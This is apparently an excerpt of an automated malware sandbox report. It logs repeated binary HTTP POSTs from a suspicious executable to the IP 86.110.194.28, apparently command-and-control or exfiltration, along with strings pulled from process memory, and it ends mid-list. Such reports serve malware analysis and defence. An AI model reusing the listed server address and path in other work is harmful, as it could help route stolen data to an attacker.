Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2140Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2564Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2140Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2164Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2

Source: unknown

HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.000000000336B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.110.194.28
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.0000000002F66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.110.194.28/Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.000000000336B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.110.194.28/Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWind
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.00000000038A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.110.H
Source: powershell.exe, 00000001.00000002.2681283763.0000018873396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: svchost.exe, 00000013.00000002.2897492105.000002338B200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: powershell.exe, 00000001.00000002.2432122684.0000018810074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2513838986.00000216D37C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2455692348.000001BC542E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2468488200.000001B3C70E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2543724736.000001C448295000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2761967593.00000216DBC9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://osoft.co
Source: powershell.exe, 00000008.00000002.1842321653.000001C438447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1831369423.0000018800228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1839662361.00000216C3978000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1841383030.000001BC44498000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1844407987.000001B3B7299000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1842321653.000001C438447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: lEwK4xROgV.exe, 00000000.00000002.1722507497.000000000317F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1831369423.0000018800001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1839662361.00000216C3751000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1841383030.000001BC44271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1844407987.000001B3B7071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1842321653.000001C438221000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.0000000002F66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1831369423.0000018800228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1839662361.00000216C3978000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1841383030.000001BC44498000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1844407987.000001B3B7299000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1842321653.000001C438447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000008.00000002.1842321653.000001C438447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: powershell.exe, 00000006.00000002.2686287270.000001B3CF4E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.micom/pkiops/Docs/ry.htm0
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: powershell.exe, 00000004.00000002.2666366743.000001BC5C686000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://.AppV.
Source: powershell.exe, 00000008.00000002.2754710912.000001C45064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://.VisualChJ
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000001.00000002.1831369423.0000018800001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1839662361.00000216C3751000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1841383030.000001BC44271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1844407987.000001B3B7071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1842321653.000001C438221000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 